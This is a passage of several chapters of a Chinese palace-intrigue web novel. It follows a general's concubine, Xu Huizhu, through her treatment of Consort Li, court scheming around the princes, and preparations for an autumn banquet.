徐慧珠跟着暮歌走进内室,入眼便是厉贵妃以慵懒的姿态躺在贵妃塌上,正小口小口喝红糖蜜水,小腹处盖着一条狐狸毛毯子。
如今正是夏日,内室一没放冰盆,二没宫人摇扇,再观厉贵妃的气色,闻其气息,徐慧珠便可断定厉贵妃身患严重的经痛之症。
病发之时,如坠冰窟。
“徐夫人莫紧张,今日你是大夫,本宫是病人。”
厉贵妃脸上挂着和煦的笑容,一笑,才是真正的倾城。
“臣妇……惶恐。”
徐慧珠恭敬有礼,哪怕厉贵妃此刻亲**拉起她的手,感叹一句“一见喜欢,相见恨晚”,认她作义女,她也不会信厉贵妃半分。
这深宫里的女子,上到娘娘,下到宫人,不管情势逼迫,还是心甘情愿,哪有心思简单、性情良善的。
看诊,开药方,厉贵妃全程配合,徐慧珠倒没保证厉贵妃的经痛之症“药到病除”,只说尚需调理,可减轻痛感。
“暮歌,将皇上给本宫的那套紫水晶头面,赏给徐夫人。”
徐慧珠装作不懂厉贵妃的试探,“既是贵妃娘娘付下的诊金,臣妇便收下了。”
诊金?
厉贵妃微愣,转瞬神色如常,“暮歌,送徐夫人到宫门口,记得将人亲手交给大将军,再解释一二。”
“听闻大将军十分宠爱徐夫人,本宫可不能让大将军误会了……”
又说,“徐夫人得空之时,常入宫来伊香殿陪本宫说说话,逗逗趣。”
刚出伊香殿,迎面遇上大皇子李明远,“大皇子安好。”
李明远停下,目光落在徐慧珠身上,“徐夫人精通医术?”
“回禀殿下,是普神医意外发现臣妇有学医天赋,将军纵容臣妇,便请普神医收我为徒,也为打发时光。”徐慧珠自是瞧见李明远眼里的轻视,和世间绝大多数男人一样,离不得女人,却生不出尊重的觉悟。
徐慧珠抬出姜夜沉这座靠山,果然,李明远脸上挂着的假笑添了一丝真诚。
“殿下,贵妃娘娘称赞徐夫人医术高明,还说和徐夫人甚是投缘,相见恨晚呢。”
“若不是担心大将军久等,贵妃娘娘定会留徐夫人多说会儿话。”
暮歌明为夸赞徐慧珠,实则向李明远透露讯息。
“母妃和徐夫人投缘,这......”
暮歌话里话外的意思,李明远自是明了。
李明远心里清楚,姜夜沉冷心冷肠,油盐不进。
太子拉拢不到,他亦回得不到半点回应,直到姜夜沉娶亲,厉贵妃放下身份,委屈自个儿和一个妾交好。
谁都明白一个道理,若太子能得到姜夜沉的支持,东宫储君的位置便稳如磐石。
若大皇子李明远或哪位皇子得姜夜沉支持,便拥有争夺的底气,不说十成,至少六七成了。
大皇子李明远刚起话头,姜夜沉就来了。
“夫人,你去了哪里?让为夫好找。”
“小宁子办差不力,竟然敢弄丢夫人,我已向李大监告状,罚小宁子去夜香局。”
姜夜沉冷着脸。
暮歌心有不忍,说来是她连累了小宁子。
小宁子在君皇殿侍奉,又入得李大监的眼,认李
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大监作干爹,终有一日,前程似锦。
这皇宫,本就是**不吐骨头的牢笼,稍有不慎,就会从云端坠落,摔到悬崖下面的乱石岗,粉身碎骨。
小宁子再也回不去君皇殿了,他的人生将永久进入暗黑。
暮歌垂着头,不敢让旁人瞧见她眼里的慌色,大将军这是何意?借处罚小宁子,警告贵妃娘娘不可妄动徐夫人吗?连交好也不成?
“夫人,为夫来接你,皇宫很大,小心迷路。”
姜夜沉一出现,眼睛只瞧得见徐慧珠。
果然,传言为真。
“大将军……”暮歌只得硬着头皮开口解释,说来,她心里怕极姜夜沉。
“贵妃娘娘身体不适,听闻徐夫人精通医术,故而相请。”
“是……是奴婢着急之下,忘记禀报大将军,奴婢……奴婢犯下大错,甘愿受罚。”
姜夜沉一个外臣,如何能处罚厉贵妃身边的宫人?
这是意指他的手伸得太长吗?伸到皇上的后宫?
“本将军的府里规矩甚严,万一夫人丢了,难道让本将军守寡?当然,本将军舍不得打断夫人的腿,那就打断伺候夫人的人或诱骗夫人的人……他们的腿了。”
姜夜沉说完,大皇子李明远和暮歌双双变脸。
暮歌含泪的眸子看向大皇子李明远,求他怜香惜玉,“大皇子殿下,求您解释一二,万不能让大将军误会了贵妃娘娘的一番仁心啊。”
大皇子李明远原本不乐意在一个妾室身上浪费功夫,再说,厉贵妃如今交好徐慧珠这个妾,待他日姜夜沉娶了正室夫人,岂不是同将军夫人交恶?
但,李明远一向孝顺,心知厉贵妃行此下等招数,也是为他拉拢北疆之王、护国大将军、锦衣卫统领的姜夜沉。
有一点,李明远和太子的想法一致,他们嫉妒又憎恨姜夜沉手里的权力,想不明白皇上为何糊涂至此?
凭什么给姜夜沉一个外人既是恩宠又是兵权,北疆军、锦衣卫……皇上就不担心姜夜沉谋反吗?
皇上不信任自己的亲生儿子,却信任姜夜沉这条看门狗?
是何道理?
难道?
第120章:夫人莫怕,一切有为夫在
“将军,你的确误会了母妃。”
李明远不愿得罪姜夜沉,也想怜香惜玉暮歌。
暮歌此女,在他的心里,终归有几分不同。
“徐夫人为母妃诊治过,该知晓母妃身患经痛症,这种病常见,也难以根治。”
“太医院的太医虽医术高超,但都是男子,有些话不便细说。”
“母妃听闻徐夫人拥有医术天赋,又师承普神医,就求了父皇,请徐夫人为母妃看诊,若徐夫人能治愈这经痛症,就是造福天下女子。”
“母妃还求父皇应允,从民间挑选一些女医童,由徐夫人亲自教导……”
暮歌心里生出一股暖意,美目含情,她就知道,大皇子怜惜她,定会出手相救。
“大将军,这套紫水晶是皇上送给贵妃娘娘的生辰礼物,安国仅此一套,贵妃娘娘珍视如宝。”
“今日,贵妃娘娘割爱赐给徐夫人,可见贵妃娘娘对徐夫人是真心实意的喜欢。”
不等暮歌说完,徐慧珠截断,“将军,这……这?”
“夫人莫怕,有什么,实话实说便是,一切有为夫在。”姜夜沉柔声安抚。
暮歌:还是贵妃娘娘厉害,看得通透,杀神将军也绕不开女子的温柔指。
李明远:母妃这步棋或走对了,看来,我不能再敷衍,而是得全力以赴配合母妃行事。
“将军,我不知这套紫水晶头面价值连城,还……还有特殊意义,我以为是贵妃娘娘大方,支付的诊金。”
“医者出诊开方,收取诊金不是天经地义吗?”
“将军,我……我万万不敢夺贵妃娘娘所爱,这套紫水晶头面我……我不能占有,可否折成银子?”徐慧珠说得认真,神情真诚。
“大福,去办妥。”姜夜沉冷声下令。
“是,将军。”大福极力憋笑。
憋死他了。
夫人胡闹,将军站在一旁煽风点火,真真是心有灵犀的命定夫妻啊。
暮歌快要哭了,她这是搬起石头砸自己的脚,用力过猛,砸的血肉模糊。
“大皇子殿下若无事,臣便出宫了。”
李明远盯着两人的背影,问道,“暮歌,你说,姜夜沉是在演夫妻情深恩爱的戏,迷惑世人?还是姜夜沉终于有了软肋?”
暮歌答道,“奴婢……奴婢相信贵妃娘娘的判断,徐夫人或是大皇子殿下攻克大将军的突破口。”
“自贵妃娘娘入宫,这么多年以来,无论后宫去了旧人来了新人,唯有贵妃娘娘最得皇上宠爱。”
“贵妃娘娘说过,大将军看徐夫人的眼神里有情,这点做不得假。”
李明远听劝。
可能暮歌在厉贵妃身边伺候得太久,朝夕相处,暮歌身上的气质气息越发像厉贵妃。
让李明远情不自禁地迷恋。
李明远正要转身离开,暮歌突然上前一步,抓住他的衣袖,“求大皇子殿下救命……”
一出宫门,徐慧珠长长出一口气。
“怎么,害怕了?”姜夜沉这张嘴就吐不出**,“也是该害怕,皇宫的枯井里不知埋葬多少枯骨冤魂。”
“将军,你吓不到我。”徐慧珠嘴硬,“我是可惜那套紫水晶头面,吃到嘴里的肉掉了……不知,厉贵妃看到紫水晶头面,会是什么样的心情?”
主意,是现想的。
好在两人默契十足,配合堪称完美。
“暮歌出自钱氏旁支,送入宫的目的是帮厉贵妃固宠,奈何厉贵妃一直圣宠不衰,暮歌只得留下做一名宫女。”
“直到大皇子对暮歌渐渐生情……”
徐慧珠一点就明,“今日,暮歌自知犯下大错,只要她向大皇子求救,厉贵妃和大皇子之间必生嫌隙……”
两人猜测的不错,暮歌急了慌了。
其实,也怪不得她,近些时日,皇上来伊香殿,目光时而落在她身上,这让她内心恐慌无比。
在入宫前,她清楚家族的安排,她就是帮厉贵妃固宠的工具。
可入宫五年,她忘却本心,一颗心扑在大皇子身上。
就算皇上是天下至尊,也比不过翩翩君子的大皇子。
她不愿爬上龙榻,她只想侍奉大皇子。
伊香殿里,暮歌跪在地上,额头已磕出血,好一副楚楚可怜的模样。
“母妃,怪不得暮歌,是那姜夜沉太无耻,仗着父皇恩宠,竟不把我放在眼里。”
“不知情的,还以为他姜夜沉才是父皇的亲子……”
殿内只有他们三人,大皇子李明远释放本
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性,说话随意随心。
大皇子李明远不知,这些话,太子也曾在皇后娘娘面前说过。
“明远,你的沉着冷静、谨慎理智哪去了?”
厉贵妃的确生气暮歌多嘴办坏事,但她更怒李明远为暮歌求她。
暮歌是何等身份,又是什么东西,竟敢肖想大皇子,还是在她的眼皮子底下?
“母妃,儿子知错。”
李明远对暮歌真心不多,但存着他不敢承认的阴暗情愫。
“求母妃把暮歌赏赐给儿子……”
厉贵妃打断,“明远,你糊涂啊。”
“你难道不知暮歌是钱家女,更是相府送入宫帮本宫固宠的工具。”
“即便皇上未起心思,可暮歌迟早会是皇上的女人。”
大皇子李明远扶起暮歌,取出帕子为她擦拭额头的腥血。
“大皇子殿下?”暮歌泣不成声,在她被家族选中之时,她想过逃,可她知道,天下之大,却无她的容身之所,她一个深闺女子,又能逃到哪里去。
入宫后,她封闭情感,逼迫自己修炼成为贵妃娘娘固宠、为家族固权的工具人。
她蹉跎自己的年华,直到她的心里,渐渐走进一个人影,大皇子就是她的一束光,照亮她的心,唤醒她的情。
“暮歌莫怕,母妃那么好,她会成全我们的。”
又说,“母妃,儿子心悦暮歌,更不忍暮歌耽误年华,老死于宫中。”
“就算当初舅父送暮歌入宫是存了帮母妃您固宠的目的,这件事,知情者甚少,父皇也不知情啊。”
“母妃,您和父皇感情甜蜜,十年如一日的恩爱。”
“母妃才是糊涂,为何要辜负父皇的宠爱,把父皇推给旁的女人,难道母妃看着父皇去宠幸旁的女人,母妃不伤心难过吗?”
厉贵妃压下心里的怒火,脸上重新挂上笑容,柔声道,“暮歌,好孩子,到本宫这里来。”
“明远,你坐下吧,站着累得慌。”
没人看到厉贵妃笑容之下,隐匿着熊熊烈火,她的大皇子**了,中了暮歌这剂**。
厉贵妃想得通透:不要紧,她会慢慢帮大皇子解毒,助大皇子戒掉暮歌的瘾。
她的儿子,暮歌这个小**妄想夺走。
第121章:思念成瘾,日夜煎熬着她
暮歌早在谋算捅破她和大皇子的私情,今日,不过是顺势而为罢了。
“贵妃娘娘……”
“奴婢……奴婢犯下大错,请贵妃娘娘责罚。”
厉贵妃握住暮歌的手,轻轻拍了拍,“傻孩子,日后莫再自称奴婢了。”
“你本是钱家贵女,不是低贱奴婢,私下里你得叫本宫一声姑母呢。”
“这些年,幸得有你陪伴,本宫才觉得这日子好熬了些……”
暮歌的心,微微放松,“贵妃娘娘,奴婢……奴婢?”
“贵妃念念待奴婢的好,奴婢今生来世都偿还不清。”
厉贵妃也年少情动过,哪看不出暮歌的心思。
厉贵妃极力克制内心燥意,果然应了那句老话“日防夜防家贼难防”,她倾尽心血教导的大皇子,竟被家里的贼惦记上。
暮歌勾住大皇子李明远的心神,瞒着她。
哼。
“哪里就需要你偿还了,暮歌,本宫知道你是个好的,为了明远的将来,正妃的名分给不得你,只能委屈你做明远的侧妃。”
“暮歌,本宫会求皇上尽快为明远选定正妃,也会求皇上另下一道旨意,允你和正妃在同日入王府。”
“到时,你有明远的宠爱,还有本宫撑腰,便是正妃也不敢为难于你。”
……
华阳县赈灾一事了,太子首功,大皇子和谨郡王协助有功,皇上**行赏。
东宫小佛堂并未拆除,太子不用日夜待在小佛堂,只需每日在小佛堂为太子妃抄写一个时辰的往生经。
太子起势,东宫又恢复往日热闹之态。
徐慧珠拿着东宫送来的烫金请柬,“太子的生辰宴?”
徐慧珠冷笑道,“一个亲手打死妻子的暴力刽子手,还有脸庆祝生辰?”
姜夜沉的脸色同样难看。
“储君生辰,普天同庆。”
“皇后娘娘已下懿旨,三品以上朝臣需携带家眷赴宴,就差明着昭告,太子妃大去,东宫不可一日无女主,要为太子选继妃。”
“这回太子的生辰宴,皇后娘娘亲自操办……”
徐慧珠挑眉,“将军是想做点什么?”
“自是需要夫人配合,把水搅浑,再浑水摸鱼。若让太子过得舒坦,青阳会写信来骂我。”姜夜沉要对付的人是国之储君,从他的嘴里说出来,好似在收拾一个手脚不干净的盗贼。
“听锦衣卫禀报,那日大皇子出宫后,接着厉贵妃去了一趟君皇殿,求皇上为大皇子早日定下正妃,又求皇上为暮歌赐下侧妃的名分。”
“如此,皇上才应允太子的生辰宴在御花园举办,也是为大皇子相看正妃。”
徐慧珠直觉厉贵妃是个手段厉害、伪善的女人,“厉贵妃当真乐意成全大皇子和暮歌这对有情人……终成眷属?”
姜夜沉说起皇上的秘密,像是日常闲聊,“皇上便是废太子,也不会让大皇子做太子,只是太子和大皇子这两位贵人一向自负,看不清皇上的心。”
徐慧珠没将心里的疑虑说出来,她觉得怪异,皇上再怎么信任和恩宠姜夜沉,也不能让姜夜沉掺和储君立废之事啊。
似乎,所有人都明着或无形把姜夜沉架在火上炙烤。
还未到太子生辰宴,也不知姜夜沉如何说动皇上,总之,徐慧珠人在府里坐,香喷喷的馅儿饼就从天而降。
姜夜沉为她讨得诰命,三品夫人,同享县主供奉。
这等殊荣,如躺云端,直到晚时看到姜夜沉,她的头还是晕乎的,心还是怦怦跳跃。
姜夜沉瞧着徐慧珠的模样,忍不住笑出声,“不过三品夫人的诰命,夫人只需小小感动一下,再说你是我姜夜沉的夫人,当得起。”
“不必担心皇上,我已位极人臣,无赏可封,皇上赏赐将军府家眷,实属常事。”
“再说,皇上爱屋及乌为真,他不会寻你的麻烦。”
“因为皇上万不会打我的脸,更不会打自己的脸。所以,徐慧珠,你的三品夫人诰命,受之无愧。”
姜夜沉细碎解释。
徐慧珠本就心情愉悦了整日,这晚,她在梦里咯咯发笑,像极一只贪吃的小母鸡,做梦吃了一夜的肉虫子。
徐慧珠一夜好梦,京城好几处人家却因皇上这道莫名其妙的旨意,折磨的睡不着。
郡王府里。
郡王妃荣慧拔下金簪狠狠插在一只丑陋的布偶身上咒骂:“徐慧珠,**,你不要脸,抢了我的珍宝。”
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“他是我的,诰命也是我的……都属于我。”
“徐慧珠,**,你害我至此。”
若拆开布偶,就能看到浸染鸡血的黄纸上,写着徐慧珠的生辰八字。
荣慧脸色难看至极,她被困在郡王府里,不得自由。
谨郡王回京好些时日,不碰她不理她,只当她是一个没有生机的物件,摆在主院里。
她要出府,谨郡王得同意。
就算谨郡王偶尔同意一回,她身边跟着的奴婢和护卫,一个个都是谨郡王的狗,如盯贼一样盯着她。
她已经很久很久没见到姜夜沉了。
思念成瘾,日夜煎熬着她。
谨郡王假意没瞧见荣慧刚刚扭曲的脸色,“太子殿下的生辰宴,荣慧,你去接近徐夫人,不管你使何种手段,本郡王要的是人人皆知你和徐夫人‘姐妹情深’。”
荣慧下意识抗拒,“郡王让我讨好徐慧珠那个**,怕是找错了人,我恨不能亲手杀死徐慧珠,揭下她的脸皮,剁碎她的肉,喂狗……”
荣慧话未说完,谨郡王的大手已掐住她的脖颈,“呵,敢违逆本郡王的命令,本郡王能让你做尊贵的郡王妃,也能划花你的脸,再扔到乞丐窝里,供贱民**致死。”
“荣慧,你且告诉本郡王,你是想当人,还是想做鬼?”
谨郡王眼神冷漠,根本不把她当作“人”。
这一刻,荣慧想起徐慧珠威胁她的那些话,徐慧珠给她的路,每一条都是死路。
徐慧珠提说过一句,让她查清先郡王妃的死?
难道?
皇上朱笔一挥,原本为太子举办的生辰宴,变成“秋日宴”。
一是庆祝储君生辰,二是犒劳太子、大皇子和谨郡王于华阳县赈灾有功,三是秋日收获累累,君臣同欢同乐。
锦衣卫和禁卫军负责秋日宴的安全,姜夜沉清早入宫,徐慧珠用过早膳后,独自赴宴。
“夫人,那位荣夫人……又来了,闹着非见夫人不可。”金秋实在厌恶徐桂珍,这人上了年纪,脸皮厚比城墙。
“让荣夫人进来吧,左右不过是求我带荣婷入宫见见世面。”
“有人迫不及待求死,拦着做什么......”
第122章:她这个郡王妃来路脏污
徐慧珠不喜徐桂珍,但对胆小可爱的荣婷倒生出三两分疼惜,明明胆子极小,还悄悄寻她,拍着胸脯保证。
“慧珠姐姐,我对将军只有敬仰膜拜之情,如同我去大平寺虔诚跪拜菩萨。”
“来京城见过将军,再看到将军和慧珠姐姐相处,我心中更确认将军是慧珠姐姐的良人,而不是我的良人。”
徐桂珍倒是生养了一个聪慧的女儿,是她的福气。
可惜,徐桂珍身在福中不惜福。
见礼过后,徐桂珍说明来意。
当然,是徐桂珍和荣婷向徐慧珠行礼,徐慧珠便是妾室身份,不仅妾行妻权,当妾当的风光,还得三品夫人诰命。
徐桂珍心里不得劲:徐慧珠这死丫头真真是好命。
但,徐慧珠的三品夫人诰命,让徐桂珍眼里,添了新的恭敬。
“慧珠啊。”
徐桂珍狗改不了吃屎,又想摆姑母的谱。
“荣夫人莫忘了将军府的规矩。”徐慧珠淡声道。
看向荣婷时,又软和了语气,“荣婷姑娘来得凑巧,我新晒了茉莉花茶,还做了玫瑰鲜花饼,让金秋带你去花园,一边赏花,一边品糕点,可好?”
“我早就馋慧珠姐姐做的糕点了,今日好开心,又能大饱口福。慧珠姐姐,我还要贪心打包一份……”荣婷一出主院,倒不着急去花园,拉着金秋倒豆子般告了自家母亲的状。
其实,她私心里极喜欢徐慧珠,并不想和徐慧珠抢夺男人,更不想同徐慧珠交恶。
“金秋,母亲登门求慧珠姐姐带我入宫参加秋日宴。”
“母亲说嫁不成将军,嫁大皇子也可……”
“我不愿高嫁,也不乐意低嫁,我就想着寻个门当户对之人嫁了,过寻常平淡的生活,足矣。”
这些话,原本荣婷想和徐慧珠私下说,她无勾引姜夜沉之心,也无攀附大皇子之意。
可她知道,母亲固执,又盯得紧,恐怕没有机会说了。
金秋只说,“姑娘莫担忧,夫人明白。”
内室里,徐慧珠直说,“荣夫人求我带荣婷姑娘入宫赴秋日宴,那荣夫人的诚意呢?”
“荣夫人莫在这里同我攀扯亲戚关系,平白耽搁时辰。”
“我家将军说了,你这位姑母,将军叫不出口,也不许我认。”
留着徐桂珍这根搅屎棍恶心徐从德,也是看在荣婷的脸面上,徐慧珠才会容忍徐桂珍稍有放肆。
徐桂珍脸颊涨红,“慧珠啊,不不不,徐夫人,只要你同意带荣婷参加秋日宴,让她一直跟在你的身旁,我便告诉你一个天大的秘密。”
徐慧珠抬了抬眼皮,瞧不出一丝感兴趣的情绪,“天大的秘密?”
“荣夫人惯会开玩笑,我家将军掌管锦衣卫,你说,这京城里的事儿,哪件能瞒得过锦衣卫的耳目。”
“我若想知道,直接去问将军便是了。”
“再说,就算有锦衣卫探听不到的秘密,荣夫人可听说过云霄阁,只要出得起银子,就能从云霄阁买到消息。”
“荣夫人不在京城太久,是孤陋寡闻?还是觉得我缺银子?”
“荣夫人想好了再说所谓‘天大的秘密’,我不着急呢。”
徐慧珠不会给徐桂珍好脸色,她说这么多,为的就是击垮徐桂珍的心里防线,自那回遭徐从德训斥后,不管她怎么问,徐桂珍嘴巴硬如铁。
“这?”徐桂珍心下没底,徐慧珠都知道?
不能吧。
其实,不仅荣家想要回归京城,徐桂珍也受够眉县那等穷酸贫瘠之地,多年后再回到繁花富贵的京城,她便想长长久久留下。
荣慧做了郡王妃,可知晓内情的人都清楚,她这个郡王妃来路脏污。
荣家图谋之大事,不能只依仗荣慧,况且荣慧此人颇有心计,并不好拿捏,不如送荣婷到高位。
人不为己天诛地灭,徐桂珍为了荣婷更为自己出卖荣慧,不过转瞬念头。
“徐夫人,荣慧不是荣慧……”徐桂珍刚一开口,就被徐慧珠打断。
“荣慧不是荣慧?呵,荣夫人口中天大的秘密,于我何用?”
徐桂珍急了,“荣慧就是……是徐云晗,是尚书府三房小姐,若此事曝光……”
徐慧珠最烦徐桂珍这类人,求人一无求人姿态
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,二无求人觉悟,仗着长辈,仗着身份……自觉高人一等,口出威胁。
当真是可笑。
“荣夫人在威胁我喽?”徐慧珠都快被徐桂珍蠢笑了。
“荣夫人现下走出将军府大门,张口就嚷嚷‘荣慧是徐云晗’,你说,我会怕吗?”
“该害怕的不是荣家吗?与我何干?”
“我一个出嫁的女儿,可没闲情逸致操心娘家事。”
“不过,徐云晗是尚书府三房小姐,也是宋家少夫人,如今还是郡王妃,不妨,荣夫人告诉我,你或荣家能得罪起谁家?”
徐桂珍脸色灰白,她得承认,徐慧珠说得极对,祸不及出嫁女,就算祸及,以姜夜沉之权势,定能护徐慧珠周全。
可,谁来护荣家?
徐桂珍不傻,她心里万般清楚,徐慧珠想听什么,在意什么?
她不能说,一旦说了,徐从德不会放过她。
徐桂珍的神情变化,徐慧珠看在眼里,“我曾说过,荣夫人若对我付出真心,我便认作姑母……”
这时,金夏来催,“夫人,马车已备好。”
徐桂珍有些后悔,早知徐慧珠油盐不进,她还不如厚着脸皮去郡王府,求一求荣慧。
不管怎么说,明面上荣慧得尊称她一句“母亲”,她就不信,荣慧敢豁出脸面拒绝她。
“荣婷姑娘天真烂漫,我倒是喜欢得紧,今日就随我一同入宫赴秋日宴吧。”
徐慧珠做足前戏,便给徐桂珍一枚糖果子先甜嘴,嘴巴养得刁,就沾不得半点苦。
“但我身负诰命,又暂代将军府主母脸面,没有时间照看荣婷姑娘,不如荣夫人这回先委屈一下,扮作嬷嬷……”
等将军府马车赶到宫门之时,前面已排起长队。
好巧不巧,排在前面的正是郡王府马车。
荣慧心里的嫉妒和恨意翻滚,又想到谨郡王的警告,她只觉得浑身冰凉,冷到骨头里了。
纠结的功夫,瞧见元乐长公主身边的秦姑姑径直走向徐慧珠,恭敬行礼,“徐夫人安好。”
徐慧珠柔声询问,“秦姑姑,可是长公主殿下有吩咐?”
第123章:将军一向疼我
“徐夫人,长公主殿下差奴婢来,请您同坐凤驾,陪长公主殿下说话解闷。”
元乐长公主喜欢徐慧珠,秦姑姑便将徐慧珠放在心里尊重。
贵人入宫皆得排队,元乐长公主殿下除外。
一时间,无数目光**在徐慧珠的身上,恨不能把她扎成刺猬。
元乐长公主一次次抬举徐慧珠这个妾,她不觉得丢脸吗?
李氏皇族后辈众多,元乐长公主要想有人陪着逗趣,随口叫来公主、郡主、县主……怎么偏偏叫个妾?
徐慧珠才不管旁人怎么想,能光明正大走后门,她当然不会故作矫情拒绝,自是欢喜应下,“臣妇感激长公主殿爱护,请秦姑姑带路。”
徐慧珠扶着金夏的手下了马车,吩咐道,“金秋金冬留下,荣婷姑娘头回入宫赴宴,仔细伺候着。”
金秋金冬齐声,“是,夫人。”
马车里,徐桂珍看着正忙活着吃糕点的荣婷就来气,她怎么生了个眼皮子浅的女儿,“婷儿,你啊你啊。”
“那可是元乐长公主殿下的凤驾,你求慧珠带你同去,坐上凤驾,一路招摇入宫,何等荣耀。”
“要是你再入了长公主殿下的凤眼,哄得长公主殿下欢心,啧啧啧,你的大造化、大富贵就来了……”
听完母亲的话,荣婷顿时觉得口里的糕点不香不甜了。
“母亲,这里是宫门口,得谨言慎行。”
“长公主殿下只邀请慧珠姐姐一人,再说我们是托慧珠姐姐的福,才能入宫赴秋日宴,见识皇宫的奢华庄严,心怀感激才是,怎能总提不合理的要求。”
“母亲,我知晓您是一心为我好,但做人不能太贪心,做事不能太过分。”
荣婷难得顶撞徐桂珍,这些是她的心里话,她没去过皇宫,便想满足自己的好奇,入宫见识一回。
仅此而已。
至于母亲的谋算,她不愿掺和其中。
金秋掀起帘子,坐在荣婷的身旁,深深地看了一眼徐桂珍,“还是荣婷姑娘懂事。”
“荣夫人,你今儿是奴婢徐嬷嬷,谨记身份。”
徐桂珍气得要死,徐慧珠不敬不重她也就罢了,一个低贱奴婢也敢爬上她的头耀武扬威?
“金秋,贱婢,你……你?”
“母亲?”荣婷伸手扯了扯徐桂珍的衣袖。
“贱婢?”
金秋冷笑,“我是夫人的奴婢,听将军和夫人的命令,领取将军府的月银……荣夫人张口骂我‘贱婢’,敢问荣夫人,我吃荣家米粮了?还是拿荣家月银了?”
金冬呵斥道,“金秋,不准再说。”
金冬的目光落在徐桂珍身上,透着冷意,“荣夫人,夫人交待,您若当不好‘徐嬷嬷’这份差,奴婢这就送您回去。”
“秋日宴,您不必去了。”
“连累着荣婷姑娘,也不必去秋日宴。”
徐桂珍只得瞪了金秋一眼,不情不愿地闭上嘴。
另一边,秦姑姑领着徐慧珠坐上元乐长公主的凤驾。
“你呀,是个好命的。”
元乐长公主拉着徐慧珠的手,打趣道,“夜沉忙得脚不沾地,还专门派人来求我,连排队的‘一点点苦’都舍不得你受……”
徐慧珠脸颊泛红,“将军一向疼我。”
徐慧珠的回答,惹得元乐长公主哈哈大笑,“你呀你呀,真真是个胆大不知羞的女子。”
“好好好。”元乐长公主不怒反笑反赞,“男女两情相悦,本就该大胆表达出来,过分矜持就是做作。”
秦姑姑笑着为元乐长公主整理歪掉的凤簪,说来,元乐长公主已经多年未这般开怀大笑了。
“长公主殿下,您啊,乐归乐,笑归笑,还是得注意凤态,发饰都散了呢。”
秦姑姑陪伴元乐长公主几十载光景,虽是主仆,实则姐妹情谊,这些“大不敬的话”,唯有秦姑姑敢说能说。
“长公主殿下您喜欢徐夫人,也要说出来才是。”
说着,秦姑姑向徐慧珠行大礼,眼神真诚请求,“奴婢逾越了,徐夫人日后得空多来公主府走动,陪长公主殿下说说话。”
“奴婢的长公主殿下啊,眼光挑剔,满京城的年轻后生贵女,极少入得长公主殿下的眼。若不是襄王妃捷足先登认作您为义女……”
徐慧珠满眼震惊,襄王妃认她作
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义女,大半原因是她救了明轩公子,另一半根源在于姜夜沉。
当然,襄王妃喜欢徐慧珠,也是真心实意。
“长公主殿下……”徐慧珠眼圈发红,这一世,自她嫁给姜夜沉开始,大运一个接一个,如今她可仗的势又添了元乐长公主,谁还敢欺她?
御花园极大,徐慧珠等了好一会儿,才瞧见荣慧,后面跟着荣婷。
也不知是谁排的位置,将徐慧珠和荣慧的座位放在一处。
论品级,徐慧珠刚刚获封三品夫人诰命,荣慧身为郡王妃也是三品,但谨郡王怕是一时疏忽,至今未给荣慧请封。
所以,荣慧虽是郡王妃,却是没有品级支撑的郡王妃。
可,徐慧珠是姜夜沉的妾。
贵妾,也是妾。
妾,自古以来,都是**下等货色。
“徐夫人……”荣慧身困在郡王府,得罪不起谨郡王。
“郡王妃有事?”徐慧珠神色冷淡。
她没腾出空报复荣慧,并不代表着她好了伤疤忘了疼,心大到不计较荣慧三番五次害她。
旁人害她一分,她必回敬十分。
“慧珠姐姐还在怨我恼我?”
“先前是我对不住你,可……可我也是身不由己啊,凝玉公主相逼,我……我人微言轻,不敢拒绝。”荣慧压低声音解释。
“慧珠姐姐,我如今已醒悟,姐妹之间得守望相助,方能走得长远。”
“若慧珠姐姐不嫌弃,从今以后,我以慧珠姐姐为尊,任凭慧珠姐姐差遣。”
徐云晗即使换成荣慧的脸,也不改本性是一条毒蛇,徐慧珠被这条毒蛇咬过好几次,险些伤到性命,又怎会信她?
“不好意思,郡王妃,我着实嫌弃。”
俗话说,伸手不打笑脸人,荣慧这张脸,徐慧珠看着生厌,既主动凑上来,不打岂不是对不住手痒。
“郡王妃既认定当凝玉公主府的狗,那就忠诚些,莫学那些朝三暮四的下作伎俩。”
“凝玉公主虽禁足于香凝殿,不能把你如何。”
“可郡王妃莫忘了,待会儿就能见到皇后娘娘。”
“如果......”
第124章:解皇上之忧,缓百姓之苦
“如果皇后娘娘知道郡王妃在背后撺掇凝玉公主,出了好几回馊主意,还说凝玉公主的坏话……”
“不知,郡王妃能否承受得住皇后娘娘的怒火?”
“谨郡王可会维护你?”
她们本就撕破脸皮,哪会有修复的可能。
徐慧珠只觉得被一条毒蛇叫“慧珠姐姐”,听着就浑身起鸡皮疙瘩,瘆得慌。
好在两人距离主位颇远,又放低声音说话,没人关注到“姐妹互撕大戏”。
这回的秋日宴,皇后娘娘亲力亲为,此刻,她和皇上共同举杯,为秋日宴开场。
皇上先开口,“华阳县赈灾一事,太子做得很好,赏黄金万两。”
“今日恰逢太子生辰,本皇为国君,亦为人父,便送太子玉佛一尊为生辰礼。”
“太子,望你日后慈爱为民、谨言慎行,当得起国之储君。”
皇后娘娘脸上的笑意一滞,皇上何意?
今日喜庆场合,该是太子的主场,华阳县赈灾一事,太子动用太子私产,做得尽善尽美,太子离开之时,华阳县万民相送,感恩太子的恩德。
皇上只赏赐万两黄金也就罢了,还赏一尊玉佛,借机敲打太子?
太子谢恩,尽管他想砸了那尊刺目的玉佛,“谢父皇恩赏。”
“儿臣会将玉佛供奉在东宫小佛堂,日日**,求天佑我安国繁荣昌盛、国泰民安。”
太子一抬头,看见站在皇上身旁的姜夜沉,心里恨意滋生、蔓延。
他,国之储君,万金尊贵之躯,又跪了一回姜夜沉这条恶狗?
姜夜沉迎上太子的恨意,毫无惧色,等太子知道,这尊玉佛和太子妃灵牌同在大平寺供奉九九八十一天,不知太子是何心情?
皇上又说,“大皇子和谨郡王协助太子有功,赏黄金千两。”
大皇子李明远和谨郡王谢恩领赏,并无多言。
皇后娘娘的脸上重新堆上笑意,她看了一眼坐在下手的厉贵妃,心里嗤笑道:再受宠又如何?妾罢了,这等宫宴,能和皇上站在一起的人,唯有她。
太子得赏万两黄金,大皇子只得千两,所以说,大皇子再能干、名声再好有何用,嫡庶有别,还不是给太子做陪衬的玩意儿。
贵贱,早已天注定。
厉贵妃自是感受到皇后娘娘的挑衅目光,她冲大皇子点点头。
只见,大皇子开口道,“父皇,儿臣有一事相求。”
“准。”皇上欣赏大皇子的能力,也满意他的才干。
只是,皇上想让大皇子当一个安分的王爷,大皇子不知皇上用心良苦,也受不住黄金座的诱惑。
金光灿灿的黄金座,天下至尊的皇位,主宰苍生的权力,生在皇家,哪个皇子不争不抢不夺?
